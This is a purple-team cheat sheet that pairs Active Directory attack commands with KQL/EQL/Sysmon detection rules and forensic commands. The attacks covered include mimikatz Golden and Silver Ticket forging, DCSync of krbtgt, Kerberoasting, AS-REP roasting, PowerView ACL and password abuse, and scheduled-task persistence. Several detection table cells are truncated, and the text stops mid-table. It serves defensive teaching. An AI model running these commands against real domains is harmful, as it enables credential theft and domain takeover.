log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
tcpdump -i eth0 port 88 -w kerberos_traffic.pcap	Captures Kerberos traffic for analysis.

Full Raw KQL/EQL Rules for Detecting Golden Ticket Usage

KQL Rule: Unusual Kerberos Ticket Granting Ticket Requests

SecurityEvent
| where EventID == 4768
| where TicketOptions has '0x40810000'
| project TimeGenerated, AccountName, ServiceName, TicketOptions

EQL Rule: Anomalous Kerberos Privilege Assignments

sequence by AccountName
  [security where EventID == 4672]
  [security where EventID == 4768 and TicketOptions has '0x40810000'] by AccountName
| where sequence.count > 5

KQL Rule: Suspicious Logon Types

SecurityEvent
| where EventID == 4624 and LogonType == 3
| where AccountName == "Administrator" or AccountName == "unknown"
| project TimeGenerated, AccountName, LogonType, IpAddress

Purple Team Cheat Sheet: Silver Ticket Attack Scenario

Attack Technique and Command

Technique	Command	Description
Silver Ticket Attack	mimikatz.exe "kerberos::golden /user:User /domain:yourdomain.com /sid:S-1-5-21-XXXXXX-XXXXXX-XXXXXX /target:service.yourdomain.com /service:ServiceType /rc4:XXXXXX /ptt"	Generates a Silver Ticket for a specific service using Mimikatz.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4769	Kerberos Service Ticket (TGS) was requested	`SecurityEvent
4672	Special Privileges Assigned to New Logon	`SecurityEvent
4624	Successful Account Logon	`SecurityEvent

Forensics Commands and Codes

Command	Description
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
tcpdump -i eth0 port 88 -w kerberos_traffic.pcap	Captures Kerberos traffic for analysis.

Full Raw KQL/EQL Rules for Detecting Silver Ticket Usage

KQL Rule: Unusual Kerberos Service Ticket Requests

SecurityEvent
| where EventID == 4769
| where ServiceName !contains 'krbtgt'
| project TimeGenerated, AccountName, ServiceName, TicketOptions

EQL Rule: Anomalous Kerberos Service Ticket Assignments

sequence by AccountName
  [security where EventID == 4672]
  [security where EventID == 4769 and ServiceName !contains 'krbtgt'] by AccountName
| where sequence.count > 5

KQL Rule: Suspicious Logon Types

SecurityEvent
| where EventID == 4624 and LogonType == 3
| where AccountName == "specific_user" or AccountName == "unknown"
| project TimeGenerated, AccountName, LogonType, IpAddress

Purple Team Cheat Sheet: Kerberoasting Attack Scenario

Attack Technique and Command

Technique	Command	Description
Kerberoasting	GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>	Uses GetUserSPNs.py to request service tickets for service accounts.
Kerberoasting	mimikatz.exe "kerberos::list /export"	Uses Mimikatz to list and export service tickets.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4769	Kerberos Service Ticket (TGS) was requested	`SecurityEvent
4672	Special Privileges Assigned to New Logon	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 88 -w kerberos_traffic.pcap	Captures Kerberos traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting Kerberoasting

KQL Rule: Unusual Kerberos Service Ticket Requests

SecurityEvent
| where EventID == 4769
| where ServiceName !contains 'krbtgt' and TicketOptions has '0x40810000'
| project TimeGenerated, AccountName, ServiceName, TicketOptions

EQL Rule: Anomalous Kerberos Service Ticket Activity

sequence by AccountName
  [security where EventID == 4672]
  [security where EventID == 4769 and ServiceName !contains 'krbtgt'] by AccountName
| where sequence.count > 5

Purple Team Cheat Sheet: Pass the Ticket Attack Scenario

Attack Technique and Command

Technique	Command	Description
Pass the Ticket	mimikatz.exe "kerberos::ptt <ticket.kirbi>"	Uses Mimikatz to pass a Kerberos ticket for authentication.
Pass the Ticket	Invoke-Mimikatz -Command '"kerberos::ptt <ticket.kirbi>"'	Uses PowerShell and Mimikatz to pass a Kerberos ticket.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4624	An account was successfully logged on.	`SecurityEvent
4672	Special Privileges Assigned to New Logon	`SecurityEvent
4768	Kerberos Authentication Ticket (TGT) was requested	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 88 -w kerberos_traffic.pcap	Captures Kerberos traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting Pass the Ticket Usage

KQL Rule: Suspicious Kerberos Ticket Use

SecurityEvent
| where EventID == 4624 and LogonType == 9
| project TimeGenerated, AccountName, LogonType, IpAddress

EQL Rule: Anomalous Kerberos Ticket Assignments

sequence by AccountName
  [security where EventID == 4672]
  [security where EventID == 4624 and LogonType == 9] by AccountName
| where sequence.count > 5

KQL Rule: Abnormal Kerberos TGT Requests

SecurityEvent
| where EventID == 4768
| where TicketOptions has '0x40810000'
| project TimeGenerated, AccountName, ServiceName, TicketOptions

Purple Team Cheat Sheet: DCSync Attack Scenario

Attack Technique and Command

Technique	Command	Description
DCSync	mimikatz.exe "lsadump::dcsync /user:krbtgt /domain:yourdomain.com"	Uses Mimikatz to simulate the behavior of a Domain Controller and request account password data.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4662	An operation was performed on an object	`SecurityEvent
4672	Special Privileges Assigned to New Logon	`SecurityEvent
4768	Kerberos Authentication Ticket (TGT) was requested	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 88 -w kerberos_traffic.pcap	Captures Kerberos traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting DCSync Usage

KQL Rule: Unusual Directory Service Access

SecurityEvent
| where EventID == 4662
| where ObjectProperties contains 'Replicating Directory Changes'
| project TimeGenerated, AccountName, ObjectProperties

EQL Rule: Anomalous Directory Replication Requests

sequence by AccountName
  [security where EventID == 4672]
  [security where EventID == 4662 and ObjectProperties contains 'Replicating Directory Changes'] by AccountName
| where sequence.count > 5

KQL Rule: Suspicious Kerberos TGT Requests

SecurityEvent
| where EventID == 4768
| where TicketOptions has '0x40810000'
| project TimeGenerated, AccountName, ServiceName, TicketOptions

Purple Team Cheat Sheet: AS-REP Roasting Attack Scenario

Attack Technique and Command

Technique	Command	Description
AS-REP Roasting	GetNPUsers.py -request -dc-ip <DC_IP> <DOMAIN>/ -usersfile users.txt	Uses GetNPUsers.py to request AS-REP for users without pre-authentication.
AS-REP Roasting	Rubeus.exe asreproast	Uses Rubeus to perform AS-REP roasting on the domain.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4768	Kerberos Authentication Ticket (TGT) was requested	`SecurityEvent
4769	Kerberos Service Ticket (TGS) was requested	`SecurityEvent
4771	Kerberos pre-authentication failed	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 88 -w kerberos_traffic.pcap	Captures Kerberos traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting AS-REP Roasting

KQL Rule: Unusual Kerberos TGT Requests without Pre-Authentication

SecurityEvent
| where EventID == 4768
| where TicketOptions has '0x40810000' and TicketEncryptionType == 0x17
| project TimeGenerated, AccountName, ServiceName, TicketOptions, TicketEncryptionType

EQL Rule: Anomalous Kerberos Pre-Authentication Failures

sequence by AccountName
  [security where EventID == 4771]
  [security where EventID == 4768 and TicketOptions has '0x40810000' and TicketEncryptionType == 0x17] by AccountName
| where sequence.count > 5

KQL Rule: Suspicious Kerberos Service Ticket Requests

SecurityEvent
| where EventID == 4769
| where ServiceName contains 'krbtgt' and TicketEncryptionType == 0x17
| project TimeGenerated, AccountName, ServiceName, TicketEncryptionType

Purple Team Cheat Sheet: GenericWrite Attack Scenario

Attack Technique and Command

Technique	Command	Description
GenericWrite	Set-DomainObjectAcl -TargetIdentity "CN=GroupName,OU=Groups,DC=domain,DC=com" -PrincipalIdentity "hacker" -Rights GenericWrite	Uses PowerView to modify the ACL of a domain object, granting GenericWrite rights to an attacker.
GenericWrite	Add-DomainObjectAcl -TargetIdentity "CN=GroupName,OU=Groups,DC=domain,DC=com" -PrincipalIdentity "hacker" -Rights All	Adds an ACL entry to a domain object, granting full rights to an attacker.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
5136	A directory service object was modified	`SecurityEvent
4662	An operation was performed on an object	`SecurityEvent
4728	A member was added to a security-enabled global group	`SecurityEvent

Forensics Commands and Codes

Command	Description
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
tcpdump -i eth0 -w network_traffic.pcap	Captures network traffic for analysis.

Full Raw KQL/EQL Rules for Detecting GenericWrite Usage

KQL Rule: Unusual Directory Service Object Modifications

SecurityEvent
| where EventID == 5136
| project TimeGenerated, AccountName, ObjectDN, AttributeLDAPDisplayName, AttributeValue

EQL Rule: Anomalous ACL Changes

sequence by AccountName
  [security where EventID == 4662 and ObjectProperties contains 'WriteProperty']
  [security where EventID == 4728] by AccountName
| where sequence.count > 5

KQL Rule: Suspicious Group Membership Changes

SecurityEvent
| where EventID == 4728
| project TimeGenerated, AccountName, MemberName, TargetSid

Purple Team Cheat Sheet: Domain Trust Attack Scenario

Attack Technique and Command

Technique	Command	Description
Domain Trust Exploitation	Get-DomainTrustMapping -API	Uses PowerView to enumerate domain trusts.
Domain Trust Exploitation	Get-NetDomainTrust -Domain yourdomain.com	Enumerates domain trusts using PowerSploit.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4769	Kerberos Service Ticket (TGS) was requested	`SecurityEvent
4672	Special Privileges Assigned to New Logon	`SecurityEvent
4624	Successful Account Logon	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 88 -w kerberos_traffic.pcap	Captures Kerberos traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting Domain Trust Abuse

KQL Rule: Unusual Kerberos Service Ticket Requests Across Domains

SecurityEvent
| where EventID == 4769
| where ServiceName contains 'krbtgt' and TicketOptions has '0x40810000'
| project TimeGenerated, AccountName, ServiceName, TicketOptions, IpAddress

EQL Rule: Anomalous Domain Trust Activity

sequence by AccountName
  [security where EventID == 4672]
  [security where EventID == 4769 and ServiceName contains 'krbtgt'] by AccountName
| where sequence.count > 5

KQL Rule: Suspicious Cross-Domain Logon Types

SecurityEvent
| where EventID == 4624 and LogonType == 3
| where TargetDomainName != "yourdomain.com"
| project TimeGenerated, AccountName, LogonType, TargetDomainName, IpAddress

Purple Team Cheat Sheet: SEBackup Privilege, SeLoadDriverPrivilege, and ForceChangePassword Abuse

Attack Techniques and Commands

Technique	Command	Description
SEBackup Privilege Abuse	Get-SeBackupPrivilege -ComputerName target	Uses PowerSploit to exploit SEBackup privilege on a target computer.
SeLoadDriverPrivilege Module	Invoke-SeLoadDriverPrivilege -ComputerName target -DriverPath path_to_driver	Uses a custom module to load a driver using SeLoadDriverPrivilege.
ForceChangePassword Abuse	Set-DomainUserPassword -Identity user -AccountPassword (ConvertTo-SecureString 'NewPass!' -AsPlainText -Force)	Forces a password change for a domain user using PowerView.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4672	Special Privileges Assigned to New Logon	`SecurityEvent
4688	A new process has been created	`SecurityEvent
4728	A member was added to a security-enabled global group	`SecurityEvent

Forensics Commands and Codes

Command	Description
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
tcpdump -i eth0 -w network_traffic.pcap	Captures network traffic for analysis.

Full Raw KQL/EQL Rules for Detecting Malicious Patterns

KQL Rule: Unusual Use of SEBackup Privilege

SecurityEvent
| where EventID == 4672
| where PrivilegeList contains 'SeBackupPrivilege'
| project TimeGenerated, AccountName, PrivilegeList

EQL Rule: Suspicious Driver Loading Activity

sequence by Hostname, AccountName
  [process where EventID == 4688 and NewProcessName contains 'powershell.exe']
  [process where EventID == 4688 and CommandLine contains 'Invoke-SeLoadDriverPrivilege'] by Hostname, AccountName
| where sequence.count > 2

KQL Rule: Abnormal Changes to User Passwords

SecurityEvent
| where EventID == 4728
| where MemberSid contains 'S-1-5-21-' and TargetUserName contains 'user'
| project TimeGenerated, MemberSid, TargetUserName

Purple Team Cheat Sheet: DLL Sideloading Attack Scenario

Attack Technique and Command

Technique	Command	Description
DLL Sideloading	copy evil.dll C:\Path\To\Legitimate\Application\	Places a malicious DLL in a directory where a legitimate application will load it.

Detection: Event Codes, KQL/EQL, Sysmon, and Wazuh Rules

Event Code	Description	KQL/EQL Rule	Sysmon/Wazuh Rule
4688	A new process has been created	`SecurityEvent	where EventID == 4688 and NewProcessName contains 'legitimate_application.exe'`
7	Image loaded (Sysmon)	`Sysmon	where EventID == 7 and ImageLoaded contains 'evil.dll'`
1	Process creation (Sysmon)	`Sysmon	where EventID == 1 and ParentImage contains 'legitimate_application.exe'`

Forensics Commands and Codes

Command	Description
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.
volatility -f memory_dump.raw --profile=Win10x64_18362 dlllist	Lists loaded DLLs in a memory dump.
tcpdump -i eth0 -w network_traffic.pcap	Captures network traffic for analysis.

Full Raw KQL/EQL Rules for Detecting DLL Sideloading

KQL Rule: Suspicious DLL Load Patterns

Sysmon
| where EventID == 7
| where ImageLoaded contains 'evil.dll' and Image contains 'legitimate_application.exe'
| project TimeGenerated, Computer, Image, ImageLoaded

EQL Rule: Anomalous DLL Loading Activity

sequence by Hostname, Image
  [process where EventID == 1 and ParentImage contains 'legitimate_application.exe']
  [dll where EventID == 7 and ImageLoaded contains 'evil.dll'] by Hostname, Image
| where sequence.count > 2

Sysmon/Wazuh Rule: Malicious DLL Load Detection

- rule.id: 7
  field: sysmon.image_loaded
  value: 'evil.dll'
- rule.id: 1
  field: sysmon.parent_image
  value: 'legitimate_application.exe'

Purple Team Cheat Sheet: Process Hollowing and Process Doppelgänging

Attack Techniques and Commands

Technique	Command	Description
Process Hollowing	Invoke-ProcessHollowing -SourcePath "C:\Windows\System32\svchost.exe" -TargetPath "C:\Path\To\Malicious.exe"	Uses a PowerShell script to perform process hollowing.
Process Doppelgänging	Invoke-ProcessDoppelganging -Target "C:\Windows\System32\notepad.exe" -Payload "C:\Path\To\Malicious.exe" -Doppelganger "C:\Windows\System32\svchost.exe"	Executes Process Doppelgänging using a custom tool or script.

Detection: Event Codes, KQL/EQL, Sysmon, and Wazuh Rules

Event Code	Description	KQL/EQL Rule	Sysmon/Wazuh Rule
4688	A new process has been created	`SecurityEvent	where EventID == 4688 and NewProcessName contains 'notepad.exe'`
1	Process creation (Sysmon)	`Sysmon	where EventID == 1 and ParentImage contains 'svchost.exe'`
7	Image loaded (Sysmon)	`Sysmon	where EventID == 7 and ImageLoaded contains 'malicious.dll'`

Forensics Commands and Codes

Command	Description
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.
volatility -f memory_dump.raw --profile=Win10x64_18362 pslist	Lists running processes in a memory dump.
tcpdump -i eth0 -w network_traffic.pcap	Captures network traffic for analysis.

Full Raw KQL/EQL Rules for Detecting Process Hollowing and Doppelgänging

KQL Rule: Suspicious Process Creation Patterns

Sysmon
| where EventID == 1
| where ParentImage contains 'svchost.exe' and ProcessName contains 'notepad.exe'
| project TimeGenerated, Computer, ParentImage, ProcessName

EQL Rule: Anomalous Process Execution

sequence by Hostname, Image
  [process where EventID == 1 and ParentImage contains 'svchost.exe']
  [process where EventID == 1 and ProcessName contains 'notepad.exe'] by Hostname, Image
| where sequence.count > 2

Sysmon/Wazuh Rule: Malicious Image Load Detection

- rule.id: 7
  field: sysmon.image_loaded
  value: 'malicious.dll'
- rule.id: 1
  field: sysmon.parent_image
  value: 'svchost.exe'

Purple Team Cheat Sheet: Abusing Delegation in Active Directory

Attack Techniques and Commands

Technique	Command	Description
Unconstrained Delegation Abuse	Set-ADComputer -Identity "targetComputer" -TrustedForDelegation $true	Configures a computer for unconstrained delegation using PowerShell.
Constrained Delegation Abuse	Set-ADComputer -Identity "targetComputer" -PrincipalsAllowedToDelegateToAccount "attackerAccount"	Sets constrained delegation on a target computer to an attacker's account.
Resource-Based Constrained Delegation Abuse	Add-ADComputerServiceAccount -Identity "targetComputer" -ServiceAccount "attackerAccount"	Abuses resource-based constrained delegation by assigning a service account to the target computer.

Detection: Event Codes, KQL/EQL, Sysmon, and Wazuh Rules

Event Code	Description	KQL/EQL Rule	Sysmon/Wazuh Rule
5136	A directory service object was modified	`SecurityEvent	where EventID == 5136 and ObjectClass == 'computer' and AttributeLDAPDisplayName == 'msDS-AllowedToDelegateTo'`
4742	A computer account was changed	`SecurityEvent	where EventID == 4742 and ObjectType == 'computer'`
4672	Special Privileges Assigned to New Logon	`SecurityEvent	where EventID == 4672`

Forensics Commands and Codes

Command	Description
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
tcpdump -i eth0 -w network_traffic.pcap	Captures network traffic for analysis.

Full Raw KQL/EQL Rules for Detecting Delegation Abuse

KQL Rule: Unusual Changes to Computer Objects

SecurityEvent
| where EventID == 5136
| where ObjectClass == 'computer' and AttributeLDAPDisplayName == 'msDS-AllowedToDelegateTo'
| project TimeGenerated, AccountName, ObjectDN, AttributeValue

EQL Rule: Anomalous Computer Account Modifications

sequence by AccountName
  [security where EventID == 4742 and ObjectType == 'computer']
  [security where EventID == 4672] by AccountName
| where sequence.count > 5

Sysmon/Wazuh Rule: Suspicious Computer Account Changes

- rule.id: 12
  field: sysmon.target_object
  value: 'msDS-AllowedToDelegateTo'
- rule.id: 4672
  field: sysmon.subject_user_name
  value: 'targetComputer'

Purple Team Cheat Sheet: Scheduling Tasks in Windows and Linux

Attack Techniques and Commands

Technique	Command	Description
Windows Task Scheduling	schtasks /create /tn "TaskName" /tr "C:\Path\To\Malicious.exe" /sc daily /st 00:00	Creates a scheduled task in Windows to execute a malicious file.
Linux Cron Job Scheduling	`echo "* * * * * /path/to/malicious.sh"	crontab -`

Detection: Event Codes, KQL/EQL, Sysmon, and Wazuh Rules

Event Code	Description	KQL/EQL Rule	Sysmon/Wazuh Rule
4698